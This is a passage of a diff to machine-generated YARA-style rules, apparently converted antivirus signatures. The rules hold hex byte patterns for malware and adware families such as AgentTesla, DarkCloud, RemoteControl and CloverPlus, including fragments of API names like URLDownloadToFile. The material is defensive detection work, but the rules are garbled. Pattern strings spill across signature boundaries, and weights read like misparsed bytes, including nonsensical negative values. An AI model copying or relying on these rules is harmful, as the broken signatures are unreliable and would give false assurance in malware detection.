61 72 6d 73 76 63 2e 70 64 62 01 00 12 80 01 5f 63 72 74 5f 64 65 62 75 67 67 65 72 5f 68 6f 6f 6b 01 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 6f 73 73 69 62 6c 65 41 } //26997 - $a_72_3 = {42 75 6e 64 6c 65 72 53 6b 69 6e 41 70 70 00 01 00 1a 01 53 00 65 00 74 00 75 00 70 00 5f 00 37 00 30 00 37 00 2e 00 65 00 78 00 65 00 01 00 20 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 53 00 6b 00 69 00 6e 00 41 00 70 00 70 00 01 00 16 01 5c 00 61 00 6c 00 6c 00 6e 00 65 00 } //30564 - $a_00_4 = {73 00 79 00 73 00 01 00 12 01 6e 00 66 00 61 00 70 00 69 00 2e 00 64 00 6c 00 6c 00 01 00 26 01 50 00 72 00 6f 00 74 00 6f 00 63 00 6f 00 } //116 - $a_00_5 = {69 00 6c 00 74 00 65 00 72 00 73 00 2e 00 64 00 6c 00 6c 00 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 31 21 4d } //108 + $a_66_1 = {d3 0f b7 d2 8d 5a ff 90 00 01 00 13 03 80 7c 24 18 76 0f 85 90 01 04 80 7c 24 19 64 0f 85 90 00 01 00 10 00 3a 2f 2f 25 73 2f 25 35 2e 35 64 2e 68 74 6d 6c 01 00 0c 00 44 69 72 20 25 64 6b 20 28 25 64 29 01 00 0a 00 44 45 4c 45 54 45 2d 54 43 42 01 00 0c 00 76 76 3b 65 78 70 69 72 65 73 20 3d 00 00 78 c8 00 00 04 00 04 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 43 6f 6e 74 72 6f 6c 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 49 6e 74 65 72 6e 65 74 4f 70 65 6e 01 00 0f 81 01 49 6e 74 65 72 6e 65 74 43 6f 6e 6e 65 63 74 01 00 0f 81 01 48 74 74 70 4f 70 65 6e 52 65 71 75 65 73 74 01 00 0f 81 01 48 74 74 70 53 65 6e 64 52 65 } //13272 + $a_73_2 = {01 00 0b 81 01 57 69 6e 48 74 74 70 4f 70 65 6e 01 00 12 81 01 57 69 6e 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 01 00 0e 81 01 48 74 74 70 49 6e 69 74 69 61 6c 69 7a 65 01 00 11 81 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f } //30065 + $a_3a_3 = {69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 52 54 21 4d 54 42 00 01 00 0f 80 01 52 65 67 44 65 6c 65 74 65 4b 65 79 45 78 57 01 00 18 80 01 55 6e 52 65 67 69 73 74 65 72 54 79 70 65 4c 69 62 46 6f 72 55 73 65 72 01 00 38 80 01 44 3a 5c 43 42 5c 41 52 4d 5f 4d 61 69 6e 5c 42 75 69 6c 64 52 65 73 75 6c 74 73 5c 62 69 6e 5c 57 } //24938 + $a_32_4 = {52 65 6c 65 61 73 65 5c 61 72 6d 73 76 63 2e 70 64 62 01 00 12 80 01 5f 63 72 74 5f 64 65 62 75 67 67 65 72 5f 68 6f 6f 6b 01 00 11 80 01 49 73 44 65 62 } //28265 + $a_65_5 = {50 72 65 73 65 6e 74 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 6f 73 73 69 62 6c 65 41 64 77 61 72 65 42 75 6e 64 6c 65 72 53 6b 69 6e 41 70 70 00 01 00 1a 01 53 00 65 00 74 00 75 00 70 00 5f 00 37 00 30 00 37 00 2e 00 65 00 78 00 65 00 01 00 20 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 } //26485 + $a_00_6 = {53 00 6b 00 69 00 6e 00 41 00 70 00 70 00 01 00 16 01 5c 00 61 00 6c 00 6c 00 6e 00 65 00 74 00 2e 00 73 00 79 00 73 00 01 00 12 01 6e 00 66 00 61 00 70 00 69 00 2e 00 64 00 6c 00 6c 00 01 00 26 01 50 00 72 00 6f 00 74 00 6f 00 63 00 6f 00 6c 00 46 00 69 00 6c 00 74 00 65 00 } //69 condition: - ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*13272+(#a_64_2 & 1)*26997+(#a_72_3 & 1)*30564+(#a_00_4 & 1)*116+(#a_00_5 & 1)*108) >=4 + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*13272+(#a_73_2 & 1)*30065+(#a_3a_3 & 1)*24938+(#a_32_4 & 1)*28265+(#a_65_5 & 1)*26485+(#a_00_6 & 1)*69) >=4 } -rule _InfrastructureShared_13692{ +rule _InfrastructureShared_14596{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 43 6f 6e 74 72 6f 6c 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 49 6e 74 65 72 6e 65 74 4f 70 65 6e 01 00 0f 81 01 49 6e 74 65 72 6e 65 74 43 6f 6e 6e 65 63 74 01 00 0f 81 01 48 74 74 70 4f 70 65 6e 52 65 71 75 } //18467 + $a_01_1 = {00 0f 81 01 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 01 00 0b 81 01 57 69 6e 48 74 74 70 4f 70 65 6e 01 00 12 81 01 57 69 6e 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 01 00 0e 81 01 48 74 74 70 49 6e 69 74 69 61 6c 69 7a 65 01 00 11 81 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 41 4c 46 } //29541 + $a_6f_2 = {61 6e 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 52 54 21 4d 54 42 00 01 00 0f 80 01 52 65 67 44 65 6c 65 74 65 4b 65 79 45 78 57 01 00 18 80 01 55 6e 52 65 67 69 73 74 65 72 54 79 70 65 4c 69 62 46 6f 72 55 73 65 72 01 00 38 80 01 44 3a 5c 43 42 5c 41 52 4d 5f 4d 61 69 6e 5c 42 75 69 6c 64 52 65 73 75 6c 74 73 5c 62 69 6e 5c 57 } //21562 + $a_32_3 = {52 65 6c 65 61 73 65 5c 61 72 6d 73 76 63 2e 70 64 62 01 00 12 80 01 5f 63 72 74 5f 64 65 62 75 67 67 65 72 5f 68 6f 6f 6b 01 00 11 80 01 49 73 44 65 62 } //28265 + $a_65_4 = {50 72 65 73 65 6e 74 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 6f 73 73 69 62 6c 65 41 64 77 61 72 65 42 75 6e 64 6c 65 72 53 6b 69 6e 41 70 70 00 01 00 1a 01 53 00 65 00 74 00 75 00 70 00 5f 00 37 00 30 00 37 00 2e 00 65 00 78 00 65 00 01 00 20 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 } //26485 + $a_00_5 = {53 00 6b 00 69 00 6e 00 41 00 70 00 70 00 01 00 16 01 5c 00 61 00 6c 00 6c 00 6e 00 65 00 74 00 2e 00 73 00 79 00 73 00 01 00 12 01 6e 00 66 00 61 00 70 00 69 00 2e 00 64 00 6c 00 6c 00 01 00 26 01 50 00 72 00 6f 00 74 00 6f 00 63 00 6f 00 6c 00 46 00 69 00 6c 00 74 00 65 00 } //69 + $a_00_6 = {2e 00 64 00 6c 00 6c 00 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 31 21 4d 54 42 00 01 00 2d 81 01 4d 61 69 6e 50 6c 61 79 65 72 4d 61 6e 61 67 65 6d 65 6e 74 46 6f 72 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 20 01 } //114 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29541+(#a_6f_2 & 1)*21562+(#a_32_3 & 1)*28265+(#a_65_4 & 1)*26485+(#a_00_5 & 1)*69+(#a_00_6 & 1)*114) >=4 + +} +rule _InfrastructureShared_14597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155072,7 +165499,7 @@ rule _InfrastructureShared_13692{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29525+(#a_74_2 & 1)*25971+(#a_5c_4 & 1)*5632) >=5 } -rule _InfrastructureShared_13693{ +rule _InfrastructureShared_14598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155084,7 +165511,7 @@ rule _InfrastructureShared_13693{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*110+(#a_00_4 & 1)*108) >=5 } -rule _InfrastructureShared_13694{ +rule _InfrastructureShared_14599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155092,13 +165519,27 @@ rule _InfrastructureShared_13694{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 31 21 4d 54 42 00 01 00 2d 81 01 4d 61 69 6e 50 6c 61 79 65 72 4d 61 6e 61 67 65 6d 65 6e 74 46 6f 72 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 } //18467 $a_00_1 = {20 } //29541 $a_00_2 = {4d 00 53 00 43 00 42 00 48 00 4a 00 49 00 00 0f 53 00 74 00 72 00 69 00 6e 00 67 00 31 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 32 63 66 33 30 37 62 38 2d 39 64 39 64 2d 34 66 32 } //1 - $a_33_3 = {35 2d 30 37 31 35 66 35 30 34 39 35 34 62 00 00 78 c8 00 00 05 00 05 00 06 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 43 6c 6f 76 65 72 50 6c 75 73 00 01 00 10 01 } //11570 - $a_69_4 = {65 61 72 63 68 2e 63 6f 2e 6b 72 01 00 25 03 4d 49 4e 49 2f 74 6d 69 6e 69 33 2e 70 68 70 3f 4d 44 3d 25 73 90 02 08 26 6b 65 79 77 6f 72 64 3d 25 73 90 00 01 00 32 01 61 70 70 2f 75 6c 69 76 65 2e 70 68 70 3f 6e 69 64 5f 6d 61 63 3d 25 73 26 6e 69 64 5f 6f 73 5f 76 65 72 3d 25 73 26 6e 69 64 5f 69 65 5f 76 65 72 3d 01 00 0a 01 } //26989 + $a_33_3 = {35 2d 30 37 31 35 66 35 30 34 39 35 34 62 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 59 30 31 21 4d 54 } //11570 + $a_00_4 = {15 } //66 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_00_2 & 1)*1+(#a_33_3 & 1)*11570+(#a_69_4 & 1)*26989) >=5 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_00_2 & 1)*1+(#a_33_3 & 1)*11570+(#a_00_4 & 1)*66) >=5 } -rule _InfrastructureShared_13695{ +rule _InfrastructureShared_14600{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 59 30 31 21 4d 54 42 00 01 00 15 81 01 6e 76 6e 65 72 6e 65 73 20 73 6a 75 73 6b 65 64 6f 72 74 65 72 01 00 11 81 01 63 6f 73 65 6e 20 6d 79 6e 68 65 65 72 2e 65 78 65 01 00 12 81 01 6b 6e 6f 74 } //18467 + $a_65_1 = {73 20 6a 61 72 6e 69 6b 73 01 00 29 81 01 70 6f 73 74 72 65 76 6f 6c 75 74 69 6f 6e 72 65 20 74 69 6c 6b 72 73 6c 65 72 20 66 61 64 65 72 6b 61 74 61 6c 6f 67 65 74 01 00 26 81 01 73 6b 6f 6c 65 75 6e 64 65 72 76 69 73 6e 69 6e 67 65 6e 20 6b 6f 6e 74 72 6f 6c 73 74 72 75 6b 74 75 72 65 6e 73 00 00 78 c8 00 00 05 00 05 00 06 00 } //26996 + $a_64_2 = {61 72 65 3a 57 69 6e 33 32 2f 43 6c 6f 76 65 72 50 6c 75 73 00 01 00 10 01 6d 69 6e 69 73 65 61 72 63 68 2e 63 6f 2e 6b 72 01 00 25 03 4d 49 4e 49 2f 74 6d 69 6e 69 33 2e 70 68 70 3f 4d 44 3d 25 } //8993 + $a_08_3 = {26 6b } //-28557 &k + $a_6f_4 = {64 3d 25 73 90 00 01 00 32 01 61 70 70 2f 75 6c 69 76 65 2e 70 68 70 3f 6e 69 64 5f 6d 61 63 3d 25 73 26 6e 69 64 5f 6f 73 5f 76 65 72 3d 25 73 26 6e 69 64 5f 69 65 5f 76 65 72 3d 01 00 0a 01 43 6f 6e 66 69 67 2e 6f 42 73 01 00 0e 01 64 6f 77 6e 66 69 6c 65 69 6e 66 6f 2e 6f 01 00 0f 01 75 2e 70 6c 75 73 2d 6f 6e 2e 63 6f 2e 6b 72 00 00 78 c8 00 00 06 00 } //31077 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26996+(#a_64_2 & 1)*8993+(#a_08_3 & 1)*-28557+(#a_6f_4 & 1)*31077) >=5 + +} +rule _InfrastructureShared_14601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -155113,7 +165554,7 @@ rule _InfrastructureShared_13695{ ((#a_77_0 & 1)*16675+(#a_6d_1 & 1)*25705+(#a_52_2 & 1)*21320+(#a_6a_3 & 1)*29200+(#a_01_4 & 1)*25955+(#a_38_5 & 1)*14408) >=5 } -rule _InfrastructureShared_13696{ +rule _InfrastructureShared_14602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -155128,7 +165569,7 @@ rule _InfrastructureShared_13696{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*-1661+(#a_0d_2 & 1)*-30143+(#a_f8_3 & 1)*-30375+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_13697{ +rule _InfrastructureShared_14603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -155142,7 +165583,7 @@ rule _InfrastructureShared_13697{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*12854+(#a_52_2 & 1)*385+(#a_54_3 & 1)*8498+(#a_72_5 & 1)*23553) >=6 } -rule _InfrastructureShared_13698{ +rule _InfrastructureShared_14604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -155156,7 +165597,7 @@ rule _InfrastructureShared_13698{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810+(#a_48_3 & 1)*8448+(#a_6f_4 & 1)*26740+(#a_69_5 & 1)*31084) >=6 } -rule _InfrastructureShared_13699{ +rule _InfrastructureShared_14605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -155171,7 +165612,7 @@ rule _InfrastructureShared_13699{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25974+(#a_6f_2 & 1)*27491+(#a_01_3 & 1)*29285+(#a_72_4 & 1)*21349+(#a_01_5 & 1)*30561) >=6 } -rule _InfrastructureShared_13700{ +rule _InfrastructureShared_14606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -155181,30 +165622,60 @@ rule _InfrastructureShared_13700{ $a_01_2 = {2d 75 3a 55 73 65 72 4e 61 6d 65 } //1 -u:UserName $a_01_3 = {25 73 5c 41 74 74 61 63 68 6d 65 6e 74 2e 64 61 74 } //1 %s\Attachment.dat $a_c8_4 = {00 06 00 06 00 09 00 21 23 41 4c 46 3a 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 74 42 75 6e 64 6c 65 72 00 01 00 09 80 01 66 72 6f 73 74 77 69 72 65 01 00 08 80 01 74 6f 70 61 68 61 77 6b 01 00 0b 80 01 73 75 70 65 72 53 65 61 72 63 68 01 00 16 80 01 57 65 62 44 69 73 63 6f 76 65 72 79 5f 73 65 74 75 70 2e 65 78 65 01 00 0a 80 01 73 61 66 65 66 69 6e 64 65 72 01 } //0 - $a_01_5 = {4f 6e 44 6f 77 6e 6c 6f 61 64 4f 66 66 65 72 43 6f 6d 70 6c 65 74 65 01 00 0e 80 01 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 c8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 34 37 21 4d 54 42 00 } //5888 - $a_81_6 = {54 6f 53 74 72 69 6e 67 } //1 ToString - $a_81_7 = {56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 } //1 VirtualProtectEx + $a_01_5 = {4f 6e 44 6f 77 6e 6c 6f 61 64 4f 66 66 65 72 43 6f 6d 70 6c 65 74 65 01 00 0e 80 01 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 c8 00 00 07 00 07 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 41 4b 53 41 21 4d 54 42 00 05 00 70 03 } //5888 + $a_0c_6 = {73 90 01 01 00 00 0a 0d 73 90 01 01 00 00 0a 13 04 11 04 09 } //2826 + $a_90_7 = {01 00 00 0a 17 73 90 01 01 00 00 0a 13 05 11 05 03 16 03 8e 69 6f 90 01 01 00 00 0a 11 05 6f 90 01 01 00 00 0a 11 04 6f 90 01 01 00 00 0a 13 06 11 06 8e 69 28 90 01 01 00 00 06 0c 11 06 16 08 16 11 06 8e 69 28 90 01 01 00 00 0a 08 13 07 de 22 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 } //1798 condition: - ((#a_63_0 & 1)*18467+(#a_36_1 & 1)*12338+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_c8_4 & 1)*0+(#a_01_5 & 1)*5888+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=6 + ((#a_63_0 & 1)*18467+(#a_36_1 & 1)*12338+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_c8_4 & 1)*0+(#a_01_5 & 1)*5888+(#a_0c_6 & 1)*2826+(#a_90_7 & 1)*1798) >=6 } -rule _InfrastructureShared_13701{ +rule _InfrastructureShared_14607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " strings : $a_46_0 = {50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 74 42 75 6e 64 6c 65 72 00 01 00 09 80 01 66 72 6f 73 74 77 69 72 65 01 00 08 80 01 74 6f 70 61 68 61 77 6b 01 00 0b 80 01 73 75 70 65 72 53 65 61 72 63 68 01 00 16 80 01 57 65 62 44 69 73 63 } //16675 $a_72_1 = {5f 73 65 74 75 70 2e 65 78 65 01 00 0a 80 01 73 61 66 65 66 69 6e 64 65 72 01 00 17 80 01 4f 6e 44 6f 77 6e 6c 6f 61 64 4f 66 66 65 72 43 6f 6d 70 6c 65 74 65 01 00 0e 80 01 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c } //30319 - $a_65_2 = {00 78 c8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 34 37 21 4d 54 42 00 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 10 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 07 81 01 4c } //25902 - $a_47_3 = {74 01 00 1a 81 01 41 53 44 61 41 53 44 6d 41 53 44 73 69 2e 41 53 44 64 6c 41 53 44 6c 41 53 44 01 00 29 81 01 41 53 44 41 41 53 44 6d 41 53 44 73 41 53 44 69 41 53 44 53 63 41 53 44 61 6e 42 41 53 44 75 66 66 41 53 44 65 72 41 53 44 00 00 78 c8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a } //29793 - $a_4d_4 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 46 31 33 30 21 4d 54 42 00 01 00 0b 81 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 } //28257 - $a_72_5 = {00 08 81 01 47 65 74 42 79 74 65 73 01 00 0a 81 01 57 65 62 52 65 71 75 65 73 74 01 00 0f 81 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 01 00 25 81 01 24 32 61 39 33 34 30 35 34 2d 63 30 63 62 2d 34 38 63 65 2d 62 36 31 35 2d 38 38 33 65 62 30 61 62 31 63 30 32 01 00 13 81 01 4c 66 62 64 70 63 6e 69 73 6d 69 76 6d 66 68 6a 69 } //29808 - $a_00_8 = {07 00 21 23 48 53 54 } //7 + $a_65_2 = {00 78 c8 00 00 07 00 07 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 41 4b 53 41 21 4d 54 42 00 05 00 70 03 0a 0b 14 0c 73 90 01 01 00 00 0a 0d 73 90 01 01 00 00 0a 13 04 11 04 09 06 07 6f 90 01 01 00 00 0a 17 73 90 01 01 00 00 0a 13 05 11 05 03 16 03 8e 69 6f 90 01 01 00 00 0a 11 05 6f 90 01 01 00 00 0a 11 04 } //25902 + $a_01_3 = {00 } //-28561 + $a_06_4 = {11 06 8e 69 28 90 01 01 00 00 06 0c 11 06 16 08 16 11 06 } //2560 + $a_90_5 = {01 00 00 0a 08 13 07 de 22 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 } //27022 + $a_63_6 = {79 70 74 6f 72 00 00 78 c8 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 49 6e 62 6f 78 54 6f 6f 6c 62 61 72 2e 50 50 31 37 00 01 00 13 80 01 49 6e 62 6f 78 20 54 6f 6f 6c 62 61 72 20 53 65 74 75 70 01 00 0b 80 01 63 72 61 77 6c 65 72 2e 69 6e 69 01 00 0c 80 01 54 52 49 41 4c } //17509 + $a_46_7 = {52 53 01 00 0e 80 01 77 77 77 32 2e 69 6e 62 6f 78 2e 63 6f 6d 01 00 16 80 01 49 53 4d 41 49 4e 54 4f 4f 4c 42 41 52 49 4e 53 54 41 4c 4c 45 44 01 00 19 80 01 44 4f 52 45 47 49 53 54 45 52 4f 52 55 50 44 41 54 } //20256 + $a_4f_8 = {42 41 52 01 00 14 80 01 49 53 49 4e 42 4f 58 54 4f 4f 4c 42 41 52 45 58 49 53 54 53 00 00 78 c8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 34 37 21 4d 54 } //21573 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30319+(#a_65_2 & 1)*25902+(#a_47_3 & 1)*29793+(#a_4d_4 & 1)*28257+(#a_72_5 & 1)*29808+(#a_00_8 & 1)*7) >=6 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30319+(#a_65_2 & 1)*25902+(#a_01_3 & 1)*-28561+(#a_06_4 & 1)*2560+(#a_90_5 & 1)*27022+(#a_63_6 & 1)*17509+(#a_46_7 & 1)*20256+(#a_4f_8 & 1)*21573) >=6 } -rule _InfrastructureShared_13702{ +rule _InfrastructureShared_14608{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 41 4b 53 41 21 4d 54 42 00 05 00 70 03 0a 0b 14 0c 73 90 01 01 00 00 0a 0d 73 90 01 01 00 00 0a 13 04 11 04 09 06 07 6f 90 01 01 00 00 0a 17 } //21539 + $a_01_1 = {00 } //-28557 + $a_05_2 = {11 05 03 16 03 8e 69 6f 90 01 01 00 00 0a 11 05 6f 90 01 } //2560 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28557+(#a_05_2 & 1)*2560) >=7 + +} +rule _InfrastructureShared_14609{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 49 6e 62 6f 78 54 6f 6f 6c 62 61 72 2e 50 50 31 37 00 01 00 13 80 01 49 6e 62 6f 78 20 54 6f 6f 6c 62 61 72 20 53 65 74 75 70 01 00 0b 80 01 63 72 61 77 6c 65 72 2e 69 6e 69 01 00 0c 80 01 54 52 49 } //16675 + $a_4f_1 = {46 45 52 53 01 00 0e 80 01 77 77 77 32 2e 69 6e 62 6f 78 2e 63 6f 6d 01 00 16 80 01 49 53 4d 41 } //19521 + $a_4f_2 = {4c 42 41 52 49 4e 53 54 41 4c 4c 45 44 01 00 19 80 01 44 4f 52 45 47 49 53 54 45 52 4f 52 55 50 44 41 54 45 54 4f 4f 4c 42 41 52 01 00 14 80 01 49 53 49 4e 42 4f 58 54 4f 4f 4c 42 41 52 45 58 49 53 54 53 00 00 78 c8 00 00 07 00 07 00 07 00 21 23 48 53 } //20041 + $a_54_3 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 34 37 21 4d 54 42 00 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 10 81 01 56 69 72 74 75 61 6c 50 } //21076 + $a_65_4 = {74 45 78 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 07 81 01 4c 61 74 65 47 65 74 01 00 1a 81 01 41 53 44 61 41 53 44 6d 41 53 44 73 69 2e 41 53 44 64 6c 41 53 44 6c 41 53 44 01 00 29 81 01 41 53 44 41 41 53 44 6d 41 53 44 73 41 53 44 69 41 53 44 53 63 41 53 44 61 6e 42 41 53 44 75 66 66 41 53 44 65 } //28530 + $a_44_5 = {00 78 c8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 46 31 33 30 21 4d 54 42 00 01 00 0b 81 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 } //16754 + $a_74_6 = {72 01 00 08 81 01 47 65 74 42 79 74 65 73 01 00 0a 81 01 57 65 62 52 65 71 75 65 73 74 01 00 0f 81 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 01 00 25 81 01 24 32 61 39 33 34 30 35 34 2d 63 30 63 62 2d 34 38 63 65 2d 62 36 31 35 2d 38 38 33 65 62 30 61 62 31 63 30 32 01 00 13 81 01 4c 66 62 64 70 63 6e 69 73 6d 69 76 6d 66 68 6a } //31090 + condition: + ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*19521+(#a_4f_2 & 1)*20041+(#a_54_3 & 1)*21076+(#a_65_4 & 1)*28530+(#a_44_5 & 1)*16754+(#a_74_6 & 1)*31090) >=7 + +} +rule _InfrastructureShared_14610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -155220,7 +165691,7 @@ rule _InfrastructureShared_13702{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_c8_5 & 1)*0+(#a_61_6 & 1)*29801) >=7 } -rule _InfrastructureShared_13703{ +rule _InfrastructureShared_14611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -155230,13 +165701,13 @@ rule 